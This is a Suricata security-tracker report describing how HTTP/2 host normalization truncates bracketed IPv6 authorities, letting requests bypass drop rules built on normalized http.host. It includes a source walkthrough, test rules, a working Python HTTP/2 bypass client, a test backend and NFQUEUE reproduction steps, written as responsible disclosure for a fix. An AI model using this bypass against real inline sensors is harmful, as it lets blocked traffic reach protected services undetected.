Project

General

Profile

Actions

Security #8778

open
PA PA

http2: IPv6 authority truncation bypasses normalized host policy

Security #8778: http2: IPv6 authority truncation bypasses normalized host policy

Added by Philippe Antoine 29 days ago. Updated 1 day ago.

Status:
In Review
Priority:
Normal
Target version:
Affected Versions:
Label:
CVE:
Git IDs:
Severity:
LOW
Disclosure Date:

Description

Original report

# HTTP/2 IPv6 authorities are truncated during http.host normalization

## Summary

Suricata's HTTP/2 host normalizer treats the first colon in :authority as the beginning of a port. This is correct for a DNS hostname followed by a port, but incorrect for a bracketed IPv6 literal because the address itself contains colons.

For the valid authority [2001:DB8::5]:443, Suricata's raw http.host.raw buffer contains the full authority, but the normalized http.host buffer contains only the five-byte prefix [2001. Rules and datasets that expect the normalized IPv6 host [2001:db8::5] do not match.

A remote, unauthenticated HTTP/2 client demonstrated an inline NFQUEUE bypass. A raw-host control rule dropped the request before the backend received its HEADERS bytes. The equivalent normalized-host policy produced no alert, and the same request reached and was acknowledged by the protected backend. The complete workflow reproduced in three of three attempts.

## Product

Suricata

## Reporter

**GitHub handle:** aramosf

## Affected versions

The affected first-colon normalization behavior is present in:

- Suricata 6.0.4 through 6.0.20.
- Suricata 7.0.0 through 7.0.17.
- Suricata 8.0.0 through 8.0.6.
- The 9.0.0 development branch at commit 8455efd9ac9be052f5f5424805559611e8531b16.

The runtime reproduction was performed against Suricata 9.0.0-dev at commit 8455efd9ac9be052f5f5424805559611e8531b16. The stable release ranges were confirmed by source inspection of their tagged HTTP/2 normalization implementations.

## Severity

**High**

## CWE

**CWE-436: Interpretation Conflict**

## CVSS

**CVSS v4.0: 8.2 High**

**Vector:** CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Metric rationale:

- AV:N — the attacker controls :authority in a remote HTTP/2 request.
- AC:L — a bracketed IPv6 literal deterministically triggers truncation at its first internal colon.
- AT:P — HTTP/2 headers must be visible, and the deployed policy must rely on normalized http.host for an IPv6 literal.
- PR:N — no Suricata, endpoint, or host privileges are needed.
- UI:N — no user interaction is required.
- VI:H — a policy intended to drop the selected virtual host can return an accept verdict instead.
- Direct confidentiality and availability impacts are not claimed.

## Security impact

An unauthenticated peer can bypass Suricata host rules, datasets, and blocklists that operate on normalized http.host and contain bracketed IPv6 literals. In IDS mode the request silently misses the affected signature. In inline IPS mode the request can reach an application or virtual host that the normalized-host policy was intended to block.

The demonstrated impact is enforcement-decision integrity and protected-backend reachability. The raw http.host.raw buffer remains complete, so policies that independently inspect the exact raw authority are not affected by this normalization defect. No memory corruption or code-execution primitive is involved.

## Attack preconditions

- Suricata parses the request as HTTP/2.
- The HTTP/2 header block is visible to Suricata; TLS-protected HTTP/2 must be decrypted or terminated before inspection.
- The request contains a bracketed IPv6 literal in :authority, with or without a port.
- A relevant policy depends on normalized http.host rather than an independent raw-host or other traffic indicator.
- The endpoint or intermediary accepts or routes the supplied authority.

The attacker needs only network reachability and control of the HTTP/2 request. No rule access, configuration access, sensor account, or local privilege is required.

## Technical details

### The parser preserves the complete authority

HTTP2Transaction::handle_headers() recognizes :authority and stores the complete header value without canonicalizing its IPv6 syntax:

Path: rust/src/http2/http2.rs

~~~rust
for block in blocks {
    /* other headers omitted */
    if block.name.eq_ignore_ascii_case(b":authority") {
        authority = Some(&block.value);
        if block.value.contains(&b'@') {
            self.set_event(HTTP2Event::UserinfoInUri);
        }
    }
}
~~~

The raw getter returns all stored bytes. Runtime inspection confirms that http.host.raw contains [2001:DB8::5]:443 and that EVE retains the complete authority.

### The normalizer assumes the first colon is a port delimiter

Path: rust/src/http2/detect.rs

~~~rust
fn http2_normalize_host(ve: Http2Header) -> Http2Header {
    let vs = match &ve {
        Http2Header::Single(v) => v,
        Http2Header::Multiple(v) => v.as_slice(),
    };

    let (start, end) =
        match vs.iter().position(|&x| x == b'@') {
            Some(i) => match
                &vs[i + 1..].iter().position(|&x| x == b':')
            {
                Some(j) => (i + 1, i + 1 + j),
                None => (i + 1, vs.len()),
            },
            None => match vs.iter().position(|&x| x == b':') {
                Some(i) => (0, i),
                None => (0, vs.len()),
            },
        };

    /* return lower-cased ve[start..end] */
}
~~~

There is no branch for an opening bracket, no search for the matching closing bracket, and no requirement that a port delimiter appear after the closing bracket.

For the bytes:

~~~text
[2001:DB8::5]:443
0123456789...
     ^
     first colon, index 5
~~~

The function selects start = 0 and end = 5. The published normalized slice is:

~~~text
[2001
~~~

The same truncation occurs for [2001:DB8::5] without a port.

### The truncated value becomes the authoritative detection buffer

SCHttp2TxGetHostNorm() publishes the result of the normalizer:

~~~rust
pub unsafe extern "C" fn SCHttp2TxGetHostNorm(
    tx: &mut HTTP2Transaction,
    buffer: *mut *const u8,
    buffer_len: *mut u32,
    tbuf: *mut c_void,
) -> u8 {
    let tbuf = cast_pointer!(tbuf, DetectThreadBuf);
    if let Some(value) =
        http2_frames_get_header_value(
            tx, Direction::ToServer, ":authority" 
        )
    {
        match http2_normalize_host(value) {
            Http2Header::Single(v) => {
                *buffer = v.as_ptr();
                *buffer_len = v.len() as u32;
            }
            Http2Header::Multiple(v) => {
                tbuf.data = v;
                *buffer = tbuf.data.as_ptr();
                *buffer_len = tbuf.data.len() as u32;
            }
        }
        return 1;
    }
    return 0;
}
~~~

GetData2() in src/detect-http-host.c installs exactly this pointer and length as the HTTP/2 http.host inspection buffer. The generic detection engine therefore sees [2001 and cannot match the complete normalized IPv6 literal.

### Independent runtime buffer proof

A paired offline request produced:

| Predicate | Result for [2001:DB8::5]:443 |
|---|---|
| http.host.raw exact [2001:DB8::5]:443 | Alerted |
| http.host exact [2001:db8::5] | Did not alert |
| http.host exact [2001 | Alerted |

A DNS authority control, EXAMPLE.TEST:443, alerted on both the expected normalized and raw values. A focused Rust test returned the byte array [91, 50, 48, 48, 49], which is the ASCII representation of [2001, for both bracketed IPv6 forms.

## Inline rules used for reproduction

Vulnerable normalized policy:

~~~text
drop http2 any any -> any 18080 (msg:"block normalized IPv6 authority"; flow:to_server; http.host; content:"[2001:db8::5]"; startswith; endswith; sid:17101; rev:1;)
~~~

Enforcement control using the full raw authority:

~~~text
drop http2 any any -> any 18080 (msg:"block raw IPv6 authority"; flow:to_server; http.host.raw; content:"[2001:DB8::5]:443"; startswith; endswith; sid:17102; rev:1;)
~~~

The two policies are tested in separate target runs. If both are loaded simultaneously, the unaffected raw rule blocks the request and masks the normalized-rule failure.

## Self-contained HTTP/2 client

The following standard-library Python client sends a valid cleartext HTTP/2 prior-knowledge preface, an empty SETTINGS frame, and a HEADERS frame containing :authority: [2001:DB8::5]:443.

~~~python
#!/usr/bin/env python3
import argparse
import socket
import sys

def h2_frame(frame_type, flags, stream_id, payload):
    return (
        len(payload).to_bytes(3, "big")
        + bytes((frame_type, flags))
        + stream_id.to_bytes(4, "big")
        + payload
    )

def request_bytes(authority):
    value = authority.encode("ascii")
    if len(value) > 127:
        raise ValueError("authority is too long")

    # HPACK static indexes:
    # 2 = :method GET, 6 = :scheme http, 4 = :path /
    # Literal without indexing, indexed name 1 = :authority.
    header_block = (
        b"\x82\x86\x84" 
        + bytes((1, len(value)))
        + value
    )

    return (
        b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" 
        + h2_frame(4, 0, 0, b"")
        + h2_frame(1, 5, 1, header_block)
    )

parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=18080)
parser.add_argument("--authority", default="[2001:DB8::5]:443")
parser.add_argument(
    "--expected-response",
    default="PROTECTED_BACKEND_ACCEPTED_IPV6_AUTHORITY" 
)
parser.add_argument("--timeout", type=float, default=5.0)
args = parser.parse_args()

try:
    payload = request_bytes(args.authority)
    with socket.create_connection(
        (args.host, args.port), timeout=args.timeout
    ) as sock:
        sock.sendall(payload)
        sock.shutdown(socket.SHUT_WR)
        response = sock.recv(4096).decode(
            "ascii", "replace" 
        ).strip()
except OSError as error:
    print("connection failed: %s" % error, file=sys.stderr)
    sys.exit(1)

print("authority=%s" % args.authority)
print("response=%s" % response)
if args.expected_response not in response:
    sys.exit(1)
~~~

## Self-contained protected test backend

The following server is sufficient to establish whether the inline verdict allowed the request bytes to reach the protected side:

~~~python
#!/usr/bin/env python3
import socket

HOST = "127.0.0.1" 
PORT = 18080
MARKER = b"PROTECTED_BACKEND_ACCEPTED_IPV6_AUTHORITY\n" 

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as listener:
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((HOST, PORT))
    listener.listen(1)
    connection, address = listener.accept()
    with connection:
        connection.settimeout(3.0)
        received = bytearray()
        while True:
            try:
                chunk = connection.recv(65535)
            except socket.timeout:
                break
            if not chunk:
                break
            received.extend(chunk)

        print("received_bytes=%d" % len(received), flush=True)
        if received:
            connection.sendall(MARKER)
~~~

## Reproduction procedure

1. Build Suricata with NFQUEUE, Rust, and HTTP/2 support.
2. Route both directions of TCP port 18080 through NFQUEUE 0 on an isolated test host:

~~~sh
iptables -I OUTPUT -p tcp --dport 18080 \
  -j NFQUEUE --queue-num 0
iptables -I INPUT -p tcp --sport 18080 \
  -j NFQUEUE --queue-num 0
~~~

3. Start the backend:

~~~sh
python3 protected_backend.py
~~~

4. Start Suricata with only the raw control rule:

~~~sh
suricata -c suricata.yaml -S raw-control.rules -q 0
~~~

5. Run the HTTP/2 client. The request should be dropped, the client should not receive the marker, and the backend should receive zero application bytes.
6. Stop Suricata and restart the backend with fresh state.
7. Start Suricata with only the normalized policy:

~~~sh
suricata -c suricata.yaml -S normalized-policy.rules -q 0
~~~

8. Run the identical client again:

~~~sh
python3 ipv6_authority_client.py \
  --host 127.0.0.1 \
  --port 18080 \
  --authority '[2001:DB8::5]:443'
~~~

## Reproduction results

The target was Suricata 9.0.0-dev running in NFQUEUE inline mode.

| Policy | Suricata alert | Backend observation | Client result |
|---|---|---|---|
| Raw http.host.raw control | Drop alert generated | No HEADERS bytes received | No marker |
| Normalized http.host policy | No drop alert | Complete request received | Protected marker returned |

The raw control logged an inline drop and the backend reported zero received header bytes. Under the normalized policy, the backend reported that it received the IPv6 authority request, and the client received PROTECTED_BACKEND_ACCEPTED_IPV6_AUTHORITY. The result reproduced in three of three complete runs.

## Expected and actual behavior

**Expected:** The normalized host for [2001:DB8::5]:443 is [2001:db8::5], with the brackets retained and only the external port removed.

**Actual:** The normalized host is [2001. A rule for the complete IPv6 literal does not match, and its inline action is not applied.

## Scope and limitations

- The affected policy must use normalized http.host. The complete raw buffer is not corrupted by this bug.
- Suricata must be able to inspect the HTTP/2 headers.
- The endpoint or intermediary must accept the supplied bracketed IPv6 authority.
- The safe test backend only proves request reachability and does not represent access to real data.
- The defect is a deterministic semantic normalization error, not memory corruption.


Subtasks 1 (1 open0 closed)

Security #8963: http2: IPv6 authority truncation bypasses normalized host policy (8.0.x backport)AssignedOISF DevActions
Actions

Also available in: PDF Atom